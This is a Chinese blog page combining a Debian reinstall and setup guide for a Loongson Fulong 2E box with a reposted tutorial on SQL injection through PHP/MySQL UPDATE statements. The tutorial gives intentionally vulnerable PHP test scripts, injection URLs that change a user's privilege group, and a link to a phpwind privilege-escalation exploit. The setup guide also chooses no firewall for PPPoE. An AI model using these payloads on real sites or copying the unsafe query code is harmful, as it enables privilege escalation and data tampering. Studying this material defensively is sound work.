手机浏览 RSS 2.0 订阅 膘叔的简单人生 , 腾讯云RDS购买 | 超便宜的Vultr , 注册 | 登陆
浏览模式: 标准 | 列表Tag:input

福珑2E电脑硬盘重装系统、系统Ghost以及简单配置

前两天,突然接到一个电话,看来源是江苏的,接起来后感觉到意外,原来是龙芯那边打来的,问我福珑2E用的怎么样。这才让我想起,原来我的福珑2E已经扔在抽屉里2年多了。买福珑本身是一个小意外,当初的想法是利用这样的小盒子连软件一起打包卖的,但最后,接单的项目结束了,被人忽悠了一下,但是电脑也买了回来,于是就自己折腾了一段时间。但后来还是没有正式使用。

如今我又想使用了,想用它来代替电视的机顶盒,看电影啥的。可是却发现原来我的机器不能启动了,而且,还不会安装。这不,网上找了点资料,先备份一下,然后过两天慢慢折腾(主要是没有显示器了。。。)

原文很长。。。不过也得转呀。来源是:http://hi.baidu.com/busybox/blog/item/19aa3f8b69ccadd5fc1f104d.html

--START--

我的条件是有了台能上网的X86电脑,装有XP,软硬齐全。
一、硬盘重装系统

1.把随机附送的光盘在XP下做成debian.iso镜像文件,也可以重网上直接下载http://www.lemote.com/debian/iso/里 面直接下载,重命名为debian.iso,重命名的好处是以后输入命令后方便。

2.先介绍下我的盒子的分区:
/根分区挂载的是/dev/hda1
/home分区挂载的是/dev/hda2
/swap分区挂载的是/dev/hda3
/opt分区挂载的是/dev/hda4
把debian.iso文件拷到盒子里的/home分区,在终端输入如下命令:
su
mount -o loop /home/debian /cdrom
cd /cdrom/boot
cp setup /

3.重启电脑按DEL键进入BIOS,进入BIOS后在PMON下输入如下命令:
PMON>load /dev/fs/ext2@wd0a/setup
PMON>g console=tty
开始硬盘重装系统。

4.根据提示依次选择"语言"->"简体中文","国家"->"中国","键盘"->"美式英语"。

5.在Debian安装程序主菜单出现后,按"Alt+F2",然后再按"Enter"。出现命令提示符,输入如下命令:
cd /mnt
mkdir home iso
mount /dev/hda2 /home
mount home/debian.iso iso
输入完成后,按"Alt+F1"返回Debian安装程序主菜单。

6.选择“探测并挂载CD-ROM”,根据提示依次选择:
"从驱动软盘中加载光盘驱动器的驱动吗?"->"否"
"手动选择光盘驱动器设备及其模式吗?"->"是"
"使用此光盘驱动器所需要加载的模块"->"none"
"光盘驱动器所对应的设备文件"->"键入/dev/loop0"
最后选择"继续"。

7.然后依次选择"配置网络"、"探测网络设备"
"使用DHCP进行网络自动配置"->"是"
"网络自动设置失效"(因为我的盒子没有联网)->"继续"
"网络配置方式"->"现在不进行网络配置"
"主机名"->"debian"
"Debian归档镜像"->"www.lemote.com"
"HTTP代理信息"(留空)->"继续"
"无效的归档镜像"(因为没联网)->"继续"
又返回到"选择归档镜像"->"返回"。

8.选择"探测磁盘"->"继续进行分区吗?"->"是"->"手动"分区。我的分区如下:
/根目录挂载/dev/hda1-----格式化成ext3
/home挂载/dev/hda2------不格式化,保持现有数据
/swap挂载/dev/hda3-------格式化成swap格式
/opt挂载/dev/hda4---------不格式化,保持现有数据
最后,选择"分区设定结束并将修改写入磁盘"->"将改动写入磁盘吗?"->"是"。

9.系统时间设置。提示"您的系统时间设置为UTC?"->"是"。

10.用户设置:
"Root用户密码"->"输入密码"
"请再次输入以验证其正确性"->"重复输入"
"请输入用户名"->"loongson"
"您的帐号用户名"->"loongson"
"请为新用户选择一个密码"->"输入密码"
"请再次输入以验证其正确性"->"重复输入"。

11.开始安装......

12.出现提示:
"要安装的内核"->"linux-image-2.6.18-godson2e"
"使用网络镜像吗?"->"否"
"被释放掉的有关security.debian.org的条目已被加到/etc/opt/soures.list文件中"->"继续"
"您要参加软件包流行度调查吗?"->"否"
"选择要安装的软件“-”桌面环境+标准系统"(按空格键选择)->"继续"。

13.等待......出现提示:
"X服务器所使用的视频模式"-"1024*768+800*600+640*480"(按空格选择)->"继续"。

14.一段时间后,出现提示:
"您将需要手动启动/dev/hda1分区上的内核并添加内核参数root=/dev/hda1"->"继续"。

15."安装完成"-"继续",重启系统,按DEL键进入BIOS,在PMON下输入如下命令(设置系统启动内核):
PMON>load /dev/fs/ext2@wd0a/boot/vmlinux-2.6.18-godson2e
PMON>g console=tty root=/dev/hda1


二、系统Ghost(官方版本)

1.在www.lemote.com/debian-testing/for-2e/目 录下载hda1.tar.gz和hda2.tar.gz。

2.福珑的预装系统打了有两个包:hda1.tar.gz,hda2.tar.gz。只要把这两个包分别解压到hda1和hda2上就可以了。如果 你安装了两个系统,可以在第二个系统中挂载和解压操作就可以了,如果你只有一个系统,那就可以启动一个rescue内核来操作,不过这都是在字符界面下完 成。

3.下面介绍一下具体做法:
假设我把这两个包拷贝在系统的第四个分区(hda4)根目录(/),在第一个分区(hda1)的boot目录下有rescue内核(预装的系统中都带了这 个内核,如果你的系统中没有,可以到http://www.lemote.com/debian/boot/) 下载。开机按住空格键(或者其他键,只要不是enter就行)进入PMON界面,输入如下命令:
PMON>load /dev/fs/ext2@wd0/boot/rescue
PMON>g console=tty video=radeonfb:800x600@60
然后rescue内核就开始启动,内核启动完成后会提示:
Please press Enter to activate this console
按回车就可以激活这个控制台,这时可以用mkfs.ext3 /dev/hda1和mkfs.ext3 /dev/hda2命令将hda1和hda2格式化。
然后cd /mnt进入mnt目录下创建三个子目录hda1,hda2和hda4(创建目录用mkdir 目录名称,例如创建hda1目录可以用命令mkdir hda1)。
然后将三个分区(hda1,hda2,hda3)分别挂载到/mnt/hda1,/mnt/hda2,/mnt/hda4(挂载可以用mount命令,例 如挂载hda1到/mnt/hda1,可以用命令mount /dev/hda1 /mnt/hda1)。
挂载好以后用cd /mnt/hda4进入hda4目录,然后开始将两个包分别解压到两个分区中,解压命令是:
tar xvzf hda1.tar.gz -C /mnt/hda1/(注意这个C是大写的)。
这是将第一个分区的内容解压到hda1中,这个过程时间可能比较长,等这个过程结束后就可以解压第二个分区的内容了,命令是:
tar xvzf hda2.tar.gz -C /mnt/hda2/
这个过程是比较快的。
解压完成后系统就安装好了。
系统中有2.6.21和2.6.18两个内核,你可以在PMON中设置你想启动的内核。


三、简单配置

1.内核更新。
刚装的系统内核vmlinux-2.6.18-godson2e没有ppp模块所以不能上网。在http://www.lemote.com/download/downloads_27.html下 载福珑迷你电脑64位内核2.6.22.9(kernel_2.6.22_9_lm64.tar.gz)64位的到U盘。U盘插入盒子,自动识别出来后, 输入如下命令:
cd /media/usbdisk
cp kernel_2.6.22.9_lm64.tar.gz /home
cd /home
tar xvfz kernel_2.6.22.9_lm64.tar.gz
cd boot
mv vmlinux vmlinux-2.6.22.9-64
cp vmlinux-2.6.22.9-64 /boot
cd ..
cd lib/modules
cp -r 2.6.22.9lm64 /lib/modules
重启机器,按DEL键进入BIOS,在PMON下输入如下命令:
PMON>set al /dev/fs/ext2@wd0a/boot/vmlinux-2.6.22.9-64
PMON>set karg "console=tty root=/dev/hda1"
PMON>reboot
这样以后进入系统使用的就是64位的2.6.22.9内核了。

2.字体设置。
http://wqy.sourceforge.nethttp://wenq.org可下载最新的文泉驿字体。不过这两个网站我上不去,于是在http://www.codeput.com/soft/view-software-12667.html下 载了最新的文泉驿字体-文泉驿字体之“祈祷”的压缩包zenhei.rar。把zenhei.rar中的wqy-zenhei-0.6.26-0.deb 解压到U盘中。U盘插入盒子,执行如下命令:
cd /media/usbdisk
dpkg -i wqy-zenhei-0.6.26-0.deb
字体安装成功后,下面就可以直接在子弟设置里设置使用文泉驿字体了。

3.输入法安装
因为debian的镜像文件在/dev/hda2也就是/home分区,故可以直接用它安装。
打开终端输入如下命令:
mount -o loop /home/debian.iso /cdrom
apt-get install scim
SCIM随系统启动:
在/etc/X11/Xsession.d目录下新建一个名叫95xinput的文件,内容如下:
/usr/bin/scim -d
XMODIFIERS="@im=SCIM"
export XMODIFIERS
可以通过输入如下命令完成:
cd /etc/X11/Xsession.d
vim 95xinput
然后按键“A”开始输入:
/usr/bin/scim -d
XMODIFIERS="@im=SCIM"
export XMODIFIERS
输入完成后,按Esc键,再按:wq后,按"Enter"键后保存退出。
这样,输入法安装完成,并随系统开机启动。

4.宽带上网设置
首先从http://www.roaringpengwin.com/products/pppoe下 载rp-pppoe-3.10.tar.gz并拷入U盘。
不过我在安装rp-pppoe之前还安装了pppoeconf,因为使用pppoeconf会经常掉线,经过设置后仍然如此,故事用rp-pppoe。
先介绍pppoeconf的安装,因为debian的镜像文件在/dev/hda2也就是/home分区,故可以直接用它安装,打开终端输入如下命令:
mount -o loop /home/debian.iso /cdrom
apt-get install pppoeconf
如果用apt-get install不能安装成功,可以用以下方法:
cd /cdrom/pool/p/pppoeconf
ls
然后用dpkg -i命令安装其文件夹下的文件,一般会提示缺少的依赖,可以在/cdrom/pool目录下依次寻找并安装,然后返回安装pppoeconf就可以了。
下面介绍rp-pppoe的安装,把已经拷有rp-pppoe-3.10.tar.gz的U盘插入盒子,在终端输入如下命令:
cd /media/usbdisk
cp rp-pppoe-3.10.tar.gz /opt
cd /opt
tar xvfz rp-pppoe-3.10.tar.gz
cd rp-pppoe-3.10
./go
知道安装完成,安装完成后可以直接进行配置,也可以以后用pppoe-stup来进行配置。如果之前没安装pppoeconf,此处安装时会提示安装 ppp,所以,最好先安装pppoeconf再安装rp-pppoe。
以下是rp-pppoe的配置过程:
//以下是屏幕显示:
Welcome to the Roaring Penguin ADSL client setup. First, I will run some checks on your system to make sure the PPPoE client is installed properly...
Looks good! Now, please enter some information:
USER NAME
>>> Enter your PPPoE user name :
输入连入宽带网的账号,值得注意的是,如果接入ADSL,使用中国电信的服务可直接输入账号,而如果是接入中国网通的以太网,要紧跟着账号后面输入! Internet(I要大写)。
INTERFACE
>>> Enter the Ethernet interface connected to the ADSL modem
For Solaris, this is likely to be something like /dev/hme0.
For Linux, it will be ethn, where 'n' is a number.
(default eth0):
输入准备接入互联网的网卡名,如果是缺省的就直接敲回车键。
>>> Enter the demand value (default no):
直接回车。
DNS
>>> Enter the DNS information here:
输入有服务商提供的域名服务器地址,或输入server,由服务商自动提供(我家是自动分配IP的,所以输入的是server)。
PASSWORD
>>> Please enter your PPPoE password:
>>> Please re-enter your PPPoE password:
输入上网密码。
FIREWALLING
The firewall choices are:
0 - NONE: This script will not set any firewall rules. You are responsible for ensuring the security of your machine. You are STRONGLY recommended to use some kind of firewall rules.
1 - STANDALONE: Appropriate for a basic stand-alone web-surfing workstation
2 - MASQUERADE: Appropriate for a machine acting as an Internet gateway for a LAN
>>> Choose a type of firewall (0-2):
选择防火墙,选0。
** Summary of what you entered **
Ethernet Interface: eth0
User name: ddtthz! Internet
Activate-on-demand: No
DNS: server
Firewalling: NONE
>>> Accept these settings and adjust configuration files (y/n)?
选y。
最后,对上述配置进行确认。确认后的配置系统会写入/etc/ppp/pppoe.conf文件,熟练的用户可直接对其进行修改。
配置完成后,就可以进行拨号了。
输入以下命令进行拨号:
#pppoe-start
如果屏幕上出现:“... Connected!”就说明拨号成功了。一般而言做到这一步是没什么问题的。这时可以用ifconfig命令查看你的信息(可以使用命 令#ifconfig -a来查看)。
最后可以Ping一下互联网中的某个主机名看下是否能上网,命令如下:
#ping www.sina.com
如果出现以下信息:
PING jupiter.sina.com.cn (218.30.66.101) 56(84) bytes of data.
64 bytes from 218.30.66.101: icnp_seq=1 ttI=128 time=91.6 ms
64 bytes from 218.30.66.101: icnp_seq=2 ttI=128 time=163 ms
64 bytes from 218.30.66.101: icnp_seq=3 ttI=128 time=178 ms
......
则表明已经连上Ineternet了。
如果想开机自动连上宽带,可以按如下操作:
首先,用pppoeconf配置在/etc/ppp/peers/生成一个dsl-provider用户文件。
配置过程只要大家输入正确宽带上网的帐号密码就可以了,在最后有个提示问你是否在系统启动的时候启动pppoeconf,选择"否",因为我们配置它的目 的只是生成一个用户配置文件。
然后在终端输入如下命令:
cd /etc/network
vim interfaces
按A键开始输入,输入以下字符:
iface eth0 inet ppp
provider dsl-provider
按Esc键后,再按:wq,按Enter键后保存退出。
cd /etc
vim rc.local
按A键开始输入,输入以下字符:
/usr/sbin/pppoe-start
按Esc键后,再按:wq,按Enter键后保存退出。
这样,以后在系统启动后就能自动连上宽带了。

Tags: 福珑, 龙芯, debain

UPDATE注射(mysql+php)的两个模式

寂寞hack的文章,简单的介绍了一些注入方法,可以了解一下,但并没有那样的实用,经知道现在很多框架、代码都采用了PDO,使用了prepare的方法,基本上可以避免这些问题的发生。当然,光靠这些是不一定能够完全避免的,代码上还是要严格控制一下。

原文来自于:http://hi.baidu.com/isbx/blog/item/35d86a605b1fbf48eaf8f851.html


一、测试环境

OS: Windowsxp sp2
php: php 4.3.10
mysql 4.1.9
apache 1.3.33

二、测试数据库结构

SQL代码
  1. -- 数据库: `test`  
  2. --  
  3. -- --------------------------------------------------------  
  4. --   
  5. -- 表的结构 `userinfo`  
  6. --  
  7.   
  8. CREATE TABLE `userinfo` (  
  9. `groudid` varchar(12) NOT NULL default '1',  
  10. `uservarchar(12) NOT NULL default 'heige',  
  11. `pass` varchar(122) NOT NULL default '123456'  
  12. ) ENGINE=MyISAM DEFAULT CHARSET=latin1;  
  13.   
  14. --   
  15. -- 导出表中的数据 `userinfo`  
  16. --  
  17.   
  18. INSERT INTO `userinfo` VALUES ('2', 'heige', '123456')  

三、测试模式

1、变量没有带''或""

PHP代码
  1. <?php  
  2. //test1.php Mod1  
  3. $servername = "localhost";  
  4. $dbusername = "root";  
  5. $dbpassword = "";  
  6. $dbname = "test";  
  7.   
  8. mysql_connect($servername,$dbusername,$dbpasswordor die ("数据库连接失败");  
  9.   
  10. $sql = "update userinfo set pass=$p where user='heige'";//<--$P没有使用单引号  
  11.   
  12. $result = mysql_db_query($dbname$sql);  
  13. $userinfo = mysql_fetch_array($result);  
  14.   
  15. echo "<p>SQL Query:$sql<p>";  
  16. ?>  
脚本里只是修改 user=&apos;heige&apos; 的 pass,如果 groudid 表示用户的权限等级,我们的目的就是通过构造 $p 来达到修改 groupid 的目的,那么我们提交:

http://127.0.0.1/test1.php?p=123456,groudid=1

在mysql里查询:

SQL代码
  1. mysql> select * from userinfo;  
  2. +---------+-------+--------+  
  3. | groudid | user | pass |  
  4. +---------+-------+--------+  
  5. | 1 | heige | 123456 |  
  6. +---------+-------+--------+  
  7. 1 row in set (0.01 sec)  

用户heige的groudid又2改为1了 :)

所以我们可以得到没有&apos;&apos;或""update的注射是可以成功的,这个就是我们的模式1。

2、变量带&apos;&apos;或""

PHP代码
  1. <?php  
  2. //test2.php  
  3. $servername = "localhost";  
  4. $dbusername = "root";  
  5. $dbpassword = "";  
  6. $dbname = "test";  
  7.   
  8. mysql_connect($servername,$dbusername,$dbpasswordor die ("数据库连接失败");  
  9.   
  10. $sql = "update userinfo set pass='$p' where user='heige'";//<--$P使用单引号  
  11.   
  12. $result = mysql_db_query($dbname$sql);  
  13. $userinfo = mysql_fetch_array($result);  
  14.   
  15. echo "<p>SQL Query:$sql<p>";  
  16. ?>  

为了关闭&apos;我们构造$p应该为 123456&apos;,groudid=&apos;2 提交:

http://127.0.0.1/test2.php?p=123456&apos;,groudid=&apos;1

在gpc=on的情况下&apos;变成了\&apos;,提交的语句变成:

SQL Query:update userinfo set pass=&apos;123456\&apos;,groudid=\&apos;1&apos; where user=&apos;heige&apos;

 

mysql查询:

SQL代码
  1. mysql> select * from userinfo;  
  2. +---------+-------+--------------------+  
  3. | groudid | user | pass |  
  4. +---------+-------+--------------------+  
  5. | 2 | heige | 123456',groudid='1 |  
  6. +---------+-------+--------------------+  
  7. 1 row in set (0.00 sec)  
groudid并没有被修改。那么在变量被&apos;&apos;或""时 就完全没有被注射呢?不是 下面我们看模式2:

PHP代码
  1. <?php  
  2. //test3.php Mod2  
  3. $servername = "localhost";  
  4. $dbusername = "root";  
  5. $dbpassword = "";  
  6. $dbname = "test";  
  7.   
  8. mysql_connect($servername,$dbusername,$dbpasswordor die ("数据库连接失败");  
  9.   
  10. $sql = "update userinfo set pass='$p' where user='heige'";//<--$P使用单引号  
  11.   
  12. $result = mysql_db_query($dbname$sql);  
  13. mysql_fetch_array($result); //$p的数据写入数据库  
  14.   
  15. $sql"select pass from userinfo where user='heige'";  
  16. $result = mysql_db_query($dbname$sql);  
  17. $userinfo=mysql_fetch_array($result);  
  18.   
  19. echo $userinfo[0]; //把pass查询输出给$userinfo[0]  
  20.   
  21. $sql ="update userinfo set pass='$userinfo[0]' where user='heige'";  
  22. $result = mysql_db_query($dbname$sql);  
  23. mysql_fetch_array($result); //把$userinfo[0] 再次update  
  24.   
  25. ?>  
我们测试下,提交:

 

http://127.0.0.1/test3.php?p=123456&apos;,groudid=&apos;1

回mysql查询下 :

SQL代码
  1. mysql> select * from userinfo;  
  2. +---------+-------+--------+  
  3. | groudid | user | pass |  
  4. +---------+-------+--------+  
  5. | 1 | heige | 123456 |  
  6. +---------+-------+--------+  
  7. 1 row in set (0.00 sec)  
HaHa~~ 成功注射 修改groudid为1。 这个就是我们的模式2了,简单的描叙如下:

 

 

update --> select --> update

 


四、实际模式

模式1:缺

模式2:phpwind 2.0.2和3.31e 权限提升漏洞

漏洞分析

 

update (profile.php 注射变量为$proicon update语句里为,icon=&apos;$userdb[icon]&apos;)

select (jop.php)

updtate (jop.php)
Exploit: http://www.huij.net/9xiao/up/phpwind-exploit.exe

奶粉,不多说,看源码

http://news.sina.com.cn/c/2008-09-19/074516317802.shtml
http://news.sina.com.cn/c/2008-09-17/131714460852s.shtml
不多说,看这两个页面源码,再联系XX门事件。

忘了提了,是懂SEO的人看。普通人看了也白看。不截图,不留把柄

Tags: 奶粉, 新浪, 源码, 伊利